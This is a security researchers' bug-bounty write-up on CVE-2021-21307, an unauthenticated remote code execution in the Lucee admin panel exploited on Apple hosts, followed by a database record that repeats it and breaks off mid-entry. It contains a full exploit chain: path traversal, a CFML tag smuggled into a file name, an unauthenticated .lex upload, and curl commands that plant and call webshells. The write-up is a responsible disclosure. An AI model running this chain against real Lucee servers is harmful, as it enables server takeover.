# Finding 0day to hack Apple
### Getting started
We started hacking on Apple after the [infamous blog post](https://samcurry.net/hacking-apple/) by Sam, et al. The goal was to focus on critical findings such as PII exposure or getting access to Apple's servers/internal network. These are the types of bugs we thought Apple would be most interested in.
### Reconnaissance and fingerprinting
While going through our recon data and fingerprinting what services might be running, we found three hosts running on a CMS backed by [Lucee](https://github.com/lucee/Lucee/).
As both the CMS and Lucee were easily available to host locally, they were good targets for us to hack on. We opted to focus on Lucee as it exposed an admin panel and has a history of vulnerabilities. Lucee is forked on Railo-context, which was briefly discussed in [Breaking Parser Logic](https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf) by [Orange Tsai](https://twitter.com/orange_8361).
Lucee's admin panel was accessible on three different Apple hosts. Two were running an outdated version and the other was running a fairly recent version.
- https://facilities.apple.com/ (Recent version)
- https://booktravel.apple.com/ (Older version)
- https://booktravel-uat.apple.com/ (Older version)
### Apple's WAF Behaviour
To exploit the vulnerabilities that we'll discuss below, we need to understand the WAF Apple uses and, more importantly, how the front end server at facilities.apple.com interacts with it.
Apple has a very painful WAF. It blocks almost any attempted Path-traversal/SQLi via URL (query params).
The frontend server (reverse proxy) at facilities.apple.com is configured to only show responses from the backend server with status codes of 200 and 404. If you get any other status code on the backend, the frontend server will instead serve a 403, which is the same response as when the WAF is triggered.
### Lucee Misconfiguration
While testing out Lucee locally, we came across a critical misconfiguration which allowed an attacker to access authenticated CFM (ColdFusion) files directly. This allowed us to perform a lot of authenticated actions while being completely unauthenticated.
As soon as you hit the `request.admintype` variable/property in a CFM file, the execution flow will stop as we're not authenticated as admin. However, any code before that check executes. So we had to find files that had some sort of bug before they hit `request.admintype`.
We made use of these three files to gain a complete pre-auth/unauth RCE on a Lucee installation:
- imgProcess.cfm (not available in older versions)
- admin.search.index.cfm
- ext.applications.upload.cfm
## Failed attempt
### Sweet & Simple RCE in imgProcess.cfm
To replicate Apple's installation, we got a local copy of Lucee running with the same version. Opening `imgProcess.cfm` without any parameters gave us an exception on our installation. Opening it on Apple's servers gave us a 403 which meant that the file exists. We just needed to specify the right parameters/values; otherwise the backend server would raise an exception for which the frontend server would serve a 403.
Wrong parameters -

Right parameters -

This file had a path traversal vulnerability to create a file anywhere on the server with our given content.
```
<cfoutput>
<cffile action="write"
file="#expandPath('{temp-directory}/admin-ext-thumbnails/')#\__#url.file#"
Output="#form.imgSrc#"
createPath="true">
</cfoutput>
```
This takes a query parameter `file` and creates it as a file with this line: `{temp-directory}/admin-ext-thumbnails/__{our-input}`. Our input can be defined via post parameter `imgSrc`.
As you can see already, the `__` directory must exist before doing a path traversal as Linux requires a path to exist before doing a traversal. Luckily for us, `expandPath` creates the path if it doesn't exist and returns the path as a string. So, passing `file=/../../../context/pwn.cfm` will create the `__` directory and traverse to the context directory within webroot thus giving us an ezz RCE here.
However, even with this bug, ***we can't exploit it in Apple's case because the WAF*** blocks the `../` in query parameters. This endpoint specifically asks the `file` parameter to be a query parameter (`url.file`, but `form.imgSrc`). If both were form or post parameters, we wouldn't trigger the WAF. **We could still use this endpoint to create files with a name and content that we control in a certain directory without triggering the WAF.**
## What now? How can we avoid triggering the WAF?
### Tricky copy
`admin.search.index.cfm` allows us to specify a directory and copy its contents to our desired location. However, **the copy function is very tricky and won't actually copy the file contents, nor will it preserve the file extension.**
This endpoint takes two parameters:
- dataDir
- luceeArchiveZipPath
`dataDir` is the path where you want to copy the files to that are specified via the `luceeArchiveZipPath` parameter. If the path doesn't exist, it will be created. We can pass an absolute path here.
```
<cfif not directoryExists(dataDir)>
<cfdirectory action="create" directory="#dataDir#" mode="777" recurse="true" />
</cfif>
```
Example request:
```
GET /lucee/admin/admin.search.index.cfm?dataDir=/copy/to/path/here/&LUCEEARCHIVEZIPPATH=/copy/from/path/here HTTP/1.1
Host: facilities.apple.com
User-Agent: Mozilla/5.0
Connection: close
```
Now that we know the copy function is not standard, let's take a deeper dive into the code responsible for doing this.
We noticed this interesting CFML tag:
```
<cfdirectory action="list" directory="#luceeArchiveZipPath#" filter="*.*.cfm" name="qFiles" sort="name" />
```
It lists the files inside the **luceeArchiveZipPath** directory. ***The filter attribute says to only list files which are of format \*.\*.cfm***. The result of this query is stored in the **"qFiles"** variable.
Next, it iterates over each file (which it stores in the variable **currFile**), replaces **'.cfm'** occurrence in the file's name to a blank string '', and stores this updated filename in the **currAction** variable. Thus, if we have a file `test.xyz.cfm`, it becomes `test.xyz`.
```
<cfset currAction = replace(qFiles.name, '.cfm', '') />
```
Afterwards, it checks if a filename like 'test.xyz.en.txt' or 'test.xyz.de.txt' exists in the **dataDir** directory. Again, the **dataDir** variable is user-controlled. If this file does not exist, it replaces dots ('.') in the filename with whitespace and saves it into the **pageContents.lng.currAction** variable.
```
<cfif fileExists('#dataDir##currAction#.#lng#.txt')>
<cfset pageContents[lng][currAction] = fileRead('#dataDir##currAction#.#lng#.txt', 'utf-8') />
<cfelse>
<!--- make sure we will also find this page when searching for the file name--->
<cfset pageContents[lng][currAction] = "#replace(currAction, '.', ' ')# " />
</cfif>
```
Later on, the file test.xyz.<lang>.txt is created and the value of the **pageContents.lng.currAction** variable becomes its contents.
Unfortunately for us, it creates the .txt file even though we can control the content of the file as it comes from the filename itself. But we will see how we can utilize the file name itself to do stuff ;) as we move further.
Following this, it stores the content of **currFile** in the **data** variable, filters out ***the files with content that does not match the regular expression*** `[''"##]stText\..+?[''"##]`, and puts them into the **finds** array.
```
<cfset data = fileread(currFile) />
<cfset finds = rematchNoCase('[''"##]stText\..+?[''"##]', data) />
```
It then loops over the **finds** array and checks whether each item exists as a key. If it does not, it will create it as a key and store it in the **searchresults** variable.
```
<cfloop array="#finds#" index="str">
<cfset str = rereplace(listRest(str, '.'), '.$', '') />
[..snip..]
<cfif structKeyExists(translations.en, str)>
<cfif not structKeyExists(searchresults[str], currAction)>
<cfset searchresults[str][currAction] = 1 />
<cfelse>
<cfset searchresults[str][currAction]++ />
</cfif>
</cfif>
</cfloop>
```
Finally, these keys (i.e. the **searchresults** variable) are stored in a file named **"searchindex.cfm"** inside the **dataDir** directory as JSON.
```
<cffile action="write" file="#dataDir#searchindex.cfm" charset="utf-8" output="#serialize(searchresults)#" mode="644" />
```
## Remote Code Execution on facilities.apple.com
If you haven't already figured it out, at this point we have a sweet RCE on [https://facilities.apple.com](https://facilities.apple.com/) by chaining `imgProcess.cfm` and `admin.search.index.cfm`.
We have control over a directory where we can copy files to (the **dataDir** parameter) and can specify a directory to copy files from (the **luceeArchiveZipPath** parameter).
Now, if we can create a file named `server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm` with a content of `"#stText.x.f#"` somewhere on the server, then we can pass its path via **luceeArchiveZipPath** to `admin.search.index.cfm`. Since this key `server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm` does not exist, it will create it and write it into a file named **searchindex.cfm**. This means that we can control the CFML tags (similar to PHP tags) in the **searchindex.cfm** file in any directory we specify with the **dataDir** parameter, which means that we can use the webroot path to execute code on the server!
We can utilize `imgProcess.cfm` to create a file `server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm` on the target's filesystem with contents that match the RegExp `[''"##]stText\..+?[''"##]`.
This attempt won't trigger WAF because we're not doing path traversal here.
### Steps to get a shell
- Create a file named `server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm` with the content `"#stText.x.f#"` (to match the regex). We'll URL encode the filename because the backend (tomcat) won't like certain characters.
```
curl -X POST 'https://facilities.apple.com/lucee/admin/imgProcess.cfm?file=%2F%73%65%72%76%65%72%2e%3c%63%66%66%69%6c%65%20%61%63%74%69%6f%6e%3d%77%72%69%74%65%20%66%69%6c%65%3d%23%55%72%6c%5b%27%66%27%5d%23%20%6f%75%74%70%75%74%3d%23%55%72%6c%5b%27%63%6f%6e%74%65%6e%74%27%5d%23%3e%2e%63%66%6d' --data 'imgSrc="#stText.Buttons.save#"'
```
- Copy the filename to prepare the code execution
```
curl 'http://facilities.apple.com/lucee/admin/admin.search.index.cfm?dataDir=/full/path/lucee/context/rootxharsh/&LUCEEARCHIVEZIPPATH=/full/path/lucee/temp/admin-ext-thumbnails/__/'
```
- Write shell to trigger code execution
```
curl https://facilities.apple.com/lucee/rootxharsh/searchindex.cfm?f=PoC.cfm&content=cfm_shell
```
- Access webshell - https://facilities.apple.com/lucee/rootxharsh/PoC.cfm

## But, what about other hosts?
Because `imgProcess.cfm` wasn't available in older versions, we had to find some other way to get RCE on the other two hosts. We came across another neat way ;).
### Unauthenticated .lex file upload
`ext.applications.upload.cfm` is partially unauthenticated. The code snippet is fairly simple. We're required to pass the `extfile` form parameter with filename's extension set to `.lex` otherwise we'll get an exception.
```
<cfif not structKeyExists(form, "extfile") or form.extfile eq "">
...
</cfif>
<!--- try to upload (.zip and .re) --->
<cftry>
<cffile action="upload" filefield="extfile" destination="#GetTempDirectory()#" nameconflict="makeunique" />
<cfif cffile.serverfileext neq "lex">
<cfthrow message="Only .lex is allowed as extension!" />
</cfif>
<cfcatch>
...
</cfcatch>
</cftry>
<cfset zipfile = "#rereplace(cffile.serverdirectory, '[/\\]$', '')##server.separator.file##cffile.serverfile#" />
```
With the `.lex` extension we go through this piece of code:
```
<cfif cffile.serverfileext eq "lex">
...
type="#request.adminType#"
...
</cfif>
```
Because we don't have `request.admintype` set, this causes an exception. However, our file is still uploaded before reaching this, as can be confirmed here:

A `.lex` file is nothing but an archive or a zip file with '.lex' extension, which is actually a format of Lucee's extensions which we could upload. Also, there's no check on the contents, so we can set it to anything.
### Gist of the Exploit
From playing around with Lucee, we knew that it allows using protocol/schemes like zip://, file:// etc. (which we utilized in this exploit chain) so we could specify these schemes wherever a fileSystem function had our fully controlled input (**luceeArchiveZipPath** in this case).
We can now utilize `ext.applications.upload.cfm` to create `.lex` file which will have a ZIP archive containing a file named `server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm` with `"#stText.x.f#"` as content.
Once we have our ZIP archive on the filesystem, we can utilize **zip://** in the **luceeArchiveZipPath** variable to query within the ZIP archive for the ***.\*.cfm** files ;).
### Getting a shell on the other 2 hosts
- Create a file named `server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm` with content `"#stText.x.f#"` and zip it as `payload.lex`

- Upload the `.lex` file via the aforementioned unauthenticated .lex file upload in `ext.applications.upload.cfm`
```
curl -vv -F extfile=@payload.lex https://booktravel.apple.com/lucee/admin/ext.applications.upload.cfm
```
- Equipped with the arbitrary `.lex` (zip archive) on the file system and the zip:// scheme we can do something like this:
```
curl https://booktravel.apple.com/lucee/admin/admin.search.index.cfm?dataDir=/full/path/lucee/web/context/exploit/&luceeArchiveZipPath=zip:///full/path/lucee/web/temp/payload.lex
```
- Now, our file named `server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm` has been added as text in the **searchindex.cfm** file under `/<lucee web>/context/exploit/` and we can access it via `https://booktravel.apple.com/<lucee root>/exploit/searchindex.cfm`
- Making a request to https://booktravel.apple.com/lucee/exploit/searchindex.cfm?f=test.cfm&output=cfml_shell will create our webshell
- Webshell : https://booktravel.apple.com/lucee/exploit/test.cfm?cmd=id

**There were load balancers in place so we had to use intruder to find our shell lol**
## Conclusion
Apple prompty fixed the issue but requested us to not disclose the issue before they make some other changes. Apple rewarded us with a total of $50,000 bounty for these issues.
On the other hand, we and Apple also talked with Lucee. The Lucee team has also fixed the bug by restricting access to cfm files directly, here's the [commit link](https://github.com/lucee/Lucee/commit/6208ab7c44c61d26c79e0b0af10382899f57e1ca). This is now assigned with [CVE-2021-21307](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21307), Lucee has also published a [Github Security Advisory](https://github.com/lucee/Lucee/security/advisories/GHSA-2xvv-723c-8p7r).
Huge shoutout to Apple Product Security Team for being transparent & allowing the disclosure of this writeup!
If you have any questions, ping us at [@rootxharsh](https://twitter.com/rootxharsh) & [@iamnoooob](https://twitter.com/iamnoooob).
Thanks for reading, have a great year ahead!
{"id": "SSV:99269", "type": "seebug", "bulletinFamily": "exploit", "title": "Lucee Server \u672a\u6388\u6743RCE\u6f0f\u6d1e\uff08CVE-2021-21307\uff09", "description": "# Finding 0day to hack Apple\n\n### Getting started\n\nWe started hacking on Apple after the [infamous blog post](https://samcurry.net/hacking-apple/) by Sam, et al. The goal was to focus on critical findings such as PII exposure or getting access to Apple's servers/internal network. These are the types of bugs we thought Apple would be most interested in.\n\n### Reconnaissance and fingerprinting\n\nWhile going through our recon data and fingerprinting what services might be running, we found three hosts running on a CMS backed by [Lucee](https://github.com/lucee/Lucee/).\n\nAs both the CMS and Lucee were easily available to host locally, they were good targets for us to hack on. We opted to focus on Lucee as it exposed an admin panel and has a history of vulnerabilities. Lucee is forked on Railo-context, which was briefly discussed in [Breaking Parser Logic](https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf) by [Orange Tsai](https://twitter.com/orange_8361).\n\nLucee's admin panel was accessible on three different Apple hosts. Two were running an outdated version and the other was running a fairly recent version.\n\n- https://facilities.apple.com/ (Recent version)\n- https://booktravel.apple.com/ (Older version)\n- https://booktravel-uat.apple.com/ (Older version)\n\n### Apple's WAF Behaviour\n\nTo exploit the vulnerabilities that we'll discuss below, we need to understand the WAF Apple uses and, more importantly, how the front end server at facilities.apple.com interacts with it.\n\nApple has a very painful WAF. It blocks almost any attempted Path-traversal/SQLi via URL (query params).\n\nThe frontend server (reverse proxy) at facilities.apple.com is configured to only show responses from the backend server with status codes of 200 and 404. If you get any other status code on the backend, the frontend server will instead serve a 403, which is the same response as when the WAF is triggered.\n\n### Lucee Misconfiguration\n\nWhile testing out Lucee locally, we came across a critical misconfiguration which allowed an attacker to access authenticated CFM (ColdFusion) files directly. This allowed us to perform a lot of authenticated actions while being completely unauthenticated.\n\nAs soon as you hit the `request.admintype` variable/property in a CFM file, the execution flow will stop as we're not authenticated as admin. However, any code before that check executes. So we had to find files that had some sort of bug before they hit `request.admintype`.\n\nWe made use of these three files to gain a complete pre-auth/unauth RCE on a Lucee installation:\n\n- imgProcess.cfm (not available in older versions)\n- admin.search.index.cfm\n- ext.applications.upload.cfm\n\n## Failed attempt\n\n### Sweet & Simple RCE in imgProcess.cfm\n\nTo replicate Apple's installation, we got a local copy of Lucee running with the same version. Opening `imgProcess.cfm` without any parameters gave us an exception on our installation. Opening it on Apple's servers gave us a 403 which meant that the file exists. We just needed to specify the right parameters/values; otherwise the backend server would raise an exception for which the frontend server would serve a 403.\n\nWrong parameters -\n\n\n\nRight parameters -\n\n\n\nThis file had a path traversal vulnerability to create a file anywhere on the server with our given content.\n\n```\n<cfoutput>\n\t<cffile action=\"write\" \n\tfile=\"#expandPath('{temp-directory}/admin-ext-thumbnails/')#\\__#url.file#\"\n\tOutput=\"#form.imgSrc#\" \n\tcreatePath=\"true\">\n</cfoutput> \n```\n\nThis takes a query parameter `file` and creates it as a file with this line: `{temp-directory}/admin-ext-thumbnails/__{our-input}`. Our input can be defined via post parameter `imgSrc`.\n\nAs you can see already, the `__` directory must exist before doing a path traversal as Linux requires a path to exist before doing a traversal. Luckily for us, `expandPath` creates the path if it doesn't exist and returns the path as a string. So, passing `file=/../../../context/pwn.cfm` will create the `__` directory and traverse to the context directory within webroot thus giving us an ezz RCE here.\n\nHowever, even with this bug, ***we can't exploit it in Apple's case because the WAF*** blocks the `../` in query parameters. This endpoint specifically asks the `file` parameter to be a query parameter (`url.file`, but `form.imgSrc`). If both were form or post parameters, we wouldn't trigger the WAF. **We could still use this endpoint to create files with a name and content that we control in a certain directory without triggering the WAF.**\n\n## What now? How can we avoid triggering the WAF?\n\n### Tricky copy\n\n`admin.search.index.cfm` allows us to specify a directory and copy its contents to our desired location. However, **the copy function is very tricky and won't actually copy the file contents, nor will it preserve the file extension.**\n\nThis endpoint takes two parameters:\n\n- dataDir\n- luceeArchiveZipPath\n\n`dataDir` is the path where you want to copy the files to that are specified via the `luceeArchiveZipPath` parameter. If the path doesn't exist, it will be created. We can pass an absolute path here.\n\n```\n<cfif not directoryExists(dataDir)>\n\t\t<cfdirectory action=\"create\" directory=\"#dataDir#\" mode=\"777\" recurse=\"true\" />\n</cfif>\n```\n\nExample request:\n\n```\nGET /lucee/admin/admin.search.index.cfm?dataDir=/copy/to/path/here/&LUCEEARCHIVEZIPPATH=/copy/from/path/here HTTP/1.1\nHost: facilities.apple.com\nUser-Agent: Mozilla/5.0 \nConnection: close\n```\n\nNow that we know the copy function is not standard, let's take a deeper dive into the code responsible for doing this.\n\nWe noticed this interesting CFML tag:\n\n```\n<cfdirectory action=\"list\" directory=\"#luceeArchiveZipPath#\" filter=\"*.*.cfm\" name=\"qFiles\" sort=\"name\" />\n```\n\nIt lists the files inside the **luceeArchiveZipPath** directory. ***The filter attribute says to only list files which are of format \\*.\\*.cfm***. The result of this query is stored in the **\"qFiles\"** variable.\n\nNext, it iterates over each file (which it stores in the variable **currFile**), replaces **'.cfm'** occurrence in the file's name to a blank string '', and stores this updated filename in the **currAction** variable. Thus, if we have a file `test.xyz.cfm`, it becomes `test.xyz`.\n\n```\n<cfset currAction = replace(qFiles.name, '.cfm', '') />\n```\n\nAfterwards, it checks if a filename like 'test.xyz.en.txt' or 'test.xyz.de.txt' exists in the **dataDir** directory. Again, the **dataDir** variable is user-controlled. If this file does not exist, it replaces dots ('.') in the filename with whitespace and saves it into the **pageContents.lng.currAction** variable.\n\n```\n<cfif fileExists('#dataDir##currAction#.#lng#.txt')>\n<cfset pageContents[lng][currAction] = fileRead('#dataDir##currAction#.#lng#.txt', 'utf-8') />\n<cfelse>\n<!--- make sure we will also find this page when searching for the file name--->\n<cfset pageContents[lng][currAction] = \"#replace(currAction, '.', ' ')# \" />\n</cfif>\n```\n\nLater on, the file test.xyz.<lang>.txt is created and the value of the **pageContents.lng.currAction** variable becomes its contents.\n\nUnfortunately for us, it creates the .txt file even though we can control the content of the file as it comes from the filename itself. But we will see how we can utilize the file name itself to do stuff ;) as we move further.\n\nFollowing this, it stores the content of **currFile** in the **data** variable, filters out ***the files with content that does not match the regular expression*** `[''\"##]stText\\..+?[''\"##]`, and puts them into the **finds** array.\n\n```\n<cfset data = fileread(currFile) />\n<cfset finds = rematchNoCase('[''\"##]stText\\..+?[''\"##]', data) />\n```\n\nIt then loops over the **finds** array and checks whether each item exists as a key. If it does not, it will create it as a key and store it in the **searchresults** variable.\n\n```\n<cfloop array=\"#finds#\" index=\"str\">\n\t<cfset str = rereplace(listRest(str, '.'), '.$', '') />\n\t\t[..snip..]\n\t\t<cfif structKeyExists(translations.en, str)>\n\t\t\t<cfif not structKeyExists(searchresults[str], currAction)>\n\t\t\t\t<cfset searchresults[str][currAction] = 1 />\n\t\t\t<cfelse>\n\t\t\t\t<cfset searchresults[str][currAction]++ />\n\t\t\t</cfif>\n\t\t</cfif>\n</cfloop>\n```\n\nFinally, these keys (i.e. the **searchresults** variable) are stored in a file named **\"searchindex.cfm\"** inside the **dataDir** directory as JSON.\n\n```\n<cffile action=\"write\" file=\"#dataDir#searchindex.cfm\" charset=\"utf-8\" output=\"#serialize(searchresults)#\" mode=\"644\" />\n```\n\n## Remote Code Execution on facilities.apple.com\n\nIf you haven't already figured it out, at this point we have a sweet RCE on [https://facilities.apple.com](https://facilities.apple.com/) by chaining `imgProcess.cfm` and `admin.search.index.cfm`.\n\nWe have control over a directory where we can copy files to (the **dataDir** parameter) and can specify a directory to copy files from (the **luceeArchiveZipPath** parameter).\n\nNow, if we can create a file named `server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm` with a content of `\"#stText.x.f#\"` somewhere on the server, then we can pass its path via **luceeArchiveZipPath** to `admin.search.index.cfm`. Since this key `server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm` does not exist, it will create it and write it into a file named **searchindex.cfm**. This means that we can control the CFML tags (similar to PHP tags) in the **searchindex.cfm** file in any directory we specify with the **dataDir** parameter, which means that we can use the webroot path to execute code on the server!\n\nWe can utilize `imgProcess.cfm` to create a file `server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm` on the target's filesystem with contents that match the RegExp `[''\"##]stText\\..+?[''\"##]`.\n\nThis attempt won't trigger WAF because we're not doing path traversal here.\n\n### Steps to get a shell\n\n- Create a file named `server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm` with the content `\"#stText.x.f#\"` (to match the regex). We'll URL encode the filename because the backend (tomcat) won't like certain characters.\n\n```\ncurl -X POST 'https://facilities.apple.com/lucee/admin/imgProcess.cfm?file=%2F%73%65%72%76%65%72%2e%3c%63%66%66%69%6c%65%20%61%63%74%69%6f%6e%3d%77%72%69%74%65%20%66%69%6c%65%3d%23%55%72%6c%5b%27%66%27%5d%23%20%6f%75%74%70%75%74%3d%23%55%72%6c%5b%27%63%6f%6e%74%65%6e%74%27%5d%23%3e%2e%63%66%6d' --data 'imgSrc=\"#stText.Buttons.save#\"'\n```\n\n- Copy the filename to prepare the code execution\n\n```\ncurl 'http://facilities.apple.com/lucee/admin/admin.search.index.cfm?dataDir=/full/path/lucee/context/rootxharsh/&LUCEEARCHIVEZIPPATH=/full/path/lucee/temp/admin-ext-thumbnails/__/'\n```\n\n- Write shell to trigger code execution\n\n```\ncurl https://facilities.apple.com/lucee/rootxharsh/searchindex.cfm?f=PoC.cfm&content=cfm_shell\n```\n\n- Access webshell - https://facilities.apple.com/lucee/rootxharsh/PoC.cfm\n\n\n\n## But, what about other hosts?\n\nBecause `imgProcess.cfm` wasn't available in older versions, we had to find some other way to get RCE on the other two hosts. We came across another neat way ;).\n\n### Unauthenticated .lex file upload\n\n`ext.applications.upload.cfm` is partially unauthenticated. The code snippet is fairly simple. We're required to pass the `extfile` form parameter with filename's extension set to `.lex` otherwise we'll get an exception.\n\n```\n<cfif not structKeyExists(form, \"extfile\") or form.extfile eq \"\">\n\t...\n</cfif>\n<!--- try to upload (.zip and .re) --->\n<cftry>\n\t<cffile action=\"upload\" filefield=\"extfile\" destination=\"#GetTempDirectory()#\" nameconflict=\"makeunique\" />\n\t<cfif cffile.serverfileext neq \"lex\">\n\t\t<cfthrow message=\"Only .lex is allowed as extension!\" />\n\t</cfif>\n\t<cfcatch>\n\t\t...\n\t</cfcatch>\n</cftry>\n\n<cfset zipfile = \"#rereplace(cffile.serverdirectory, '[/\\\\]$', '')##server.separator.file##cffile.serverfile#\" />\n```\n\nWith the `.lex` extension we go through this piece of code:\n\n```\n<cfif cffile.serverfileext eq \"lex\">\n...\n type=\"#request.adminType#\"\n...\n</cfif>\n```\n\nBecause we don't have `request.admintype` set, this causes an exception. However, our file is still uploaded before reaching this, as can be confirmed here:\n\n\n\nA `.lex` file is nothing but an archive or a zip file with '.lex' extension, which is actually a format of Lucee's extensions which we could upload. Also, there's no check on the contents, so we can set it to anything.\n\n### Gist of the Exploit\n\nFrom playing around with Lucee, we knew that it allows using protocol/schemes like zip://, file:// etc. (which we utilized in this exploit chain) so we could specify these schemes wherever a fileSystem function had our fully controlled input (**luceeArchiveZipPath** in this case).\n\nWe can now utilize `ext.applications.upload.cfm` to create `.lex` file which will have a ZIP archive containing a file named `server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm` with `\"#stText.x.f#\"` as content.\n\nOnce we have our ZIP archive on the filesystem, we can utilize **zip://** in the **luceeArchiveZipPath** variable to query within the ZIP archive for the ***.\\*.cfm** files ;).\n\n### Getting a shell on the other 2 hosts\n\n- Create a file named `server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm` with content `\"#stText.x.f#\"` and zip it as `payload.lex`\n\n\n\n- Upload the `.lex` file via the aforementioned unauthenticated .lex file upload in `ext.applications.upload.cfm`\n\n```\ncurl -vv -F extfile=@payload.lex https://booktravel.apple.com/lucee/admin/ext.applications.upload.cfm\n```\n\n- Equipped with the arbitrary `.lex` (zip archive) on the file system and the zip:// scheme we can do something like this:\n\n```\ncurl https://booktravel.apple.com/lucee/admin/admin.search.index.cfm?dataDir=/full/path/lucee/web/context/exploit/&luceeArchiveZipPath=zip:///full/path/lucee/web/temp/payload.lex\n```\n\n- Now, our file named `server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm` has been added as text in the **searchindex.cfm** file under `/<lucee web>/context/exploit/` and we can access it via `https://booktravel.apple.com/<lucee root>/exploit/searchindex.cfm`\n- Making a request to https://booktravel.apple.com/lucee/exploit/searchindex.cfm?f=test.cfm&output=cfml_shell will create our webshell\n- Webshell : https://booktravel.apple.com/lucee/exploit/test.cfm?cmd=id\n\n\n\n**There were load balancers in place so we had to use intruder to find our shell lol**\n\n## Conclusion\n\nApple prompty fixed the issue but requested us to not disclose the issue before they make some other changes. Apple rewarded us with a total of $50,000 bounty for these issues.\n\nOn the other hand, we and Apple also talked with Lucee. The Lucee team has also fixed the bug by restricting access to cfm files directly, here's the [commit link](https://github.com/lucee/Lucee/commit/6208ab7c44c61d26c79e0b0af10382899f57e1ca). This is now assigned with [CVE-2021-21307](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21307), Lucee has also published a [Github Security Advisory](https://github.com/lucee/Lucee/security/advisories/GHSA-2xvv-723c-8p7r).\n\nHuge shoutout to Apple Product Security Team for being transparent & allowing the disclosure of this writeup!\n\nIf you have any questions, ping us at [@rootxharsh](https://twitter.com/rootxharsh) & [@iamnoooob](https://twitter.com/iamnoooob).\n\nThanks for reading, have a great year ahead!", "published": "2021-06-08T00:00:00", "modified": "2021-06-08T00:00:00", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "href": "https://www.seebug.org/vuldb/ssvid-99269", "reporter": "Knownsec", "references": [], "cvelist": ["CVE-2021-21307"], "immutableFields": [], "lastseen": "2021-07-24T09:57:37", "viewCount": 22, "enchantments": {"dependencies": {"references": [{"type": "attackerkb", "idList": ["AKB:F5AFC420-0B89-47F3-B0B5-53E402B6F49D"]}, {"type": "cve", "idList": ["CVE-2021-21307"]}, {"type": "metasploit", "idList": ["MSF:EXPLOIT/LINUX/HTTP/LUCEE_ADMIN_IMGPROCESS_FILE_WRITE/"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:163864"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:7B1DD656DC72802EE7230867267A5A16"]}, {"type": "zdt", "idList": ["1337DAY-ID-36659"]}]}, "score": {"value": 5.4, "vector": "NONE"}, "backreferences": {"references": [{"type": "attackerkb", "idList": ["AKB:F5AFC420-0B89-47F3-B0B5-53E402B6F49D"]}, {"type": "cve", "idList": ["CVE-2021-21307"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:163864"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:7B1DD656DC72802EE7230867267A5A16"]}, {"type": "zdt", "idList": ["1337DAY-ID-36659"]}]}, "exploitation": null, "vulnersScore": 5.4}, "sourceHref": "", "sourceData": "", "status": "cve,details", "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1647589307, "score": 0}}
{"cve": [{"lastseen": "2022-03-23T13:38:31", "description": "Lucee Server is a dynamic, Java based (JSR-223), tag and scripting language used for rapid web application development. In Lucee Admin before versions 5.3.7.47, 5.3.6.68 or 5.3.5.96 there is an unauthenticated remote code exploit. This is fixed in versions 5.3.7.47, 5.3.6.68 or 5.3.5.96. As a workaround, one can block access to the Lucee Administrator.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-02-11T19:15:00", "type": "cve", "title": "CVE-2021-21307", "cwe": ["CWE-862"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21307"], "modified": "2021-09-21T16:39:00", "cpe": [], "id": "CVE-2021-21307", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-21307", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cpe23": []}], "packetstorm": [{"lastseen": "2021-08-17T15:43:04", "description": "", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-17T00:00:00", "type": "packetstorm", "title": "Lucee Administrator imgProcess.cfm Arbitrary File Write", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": 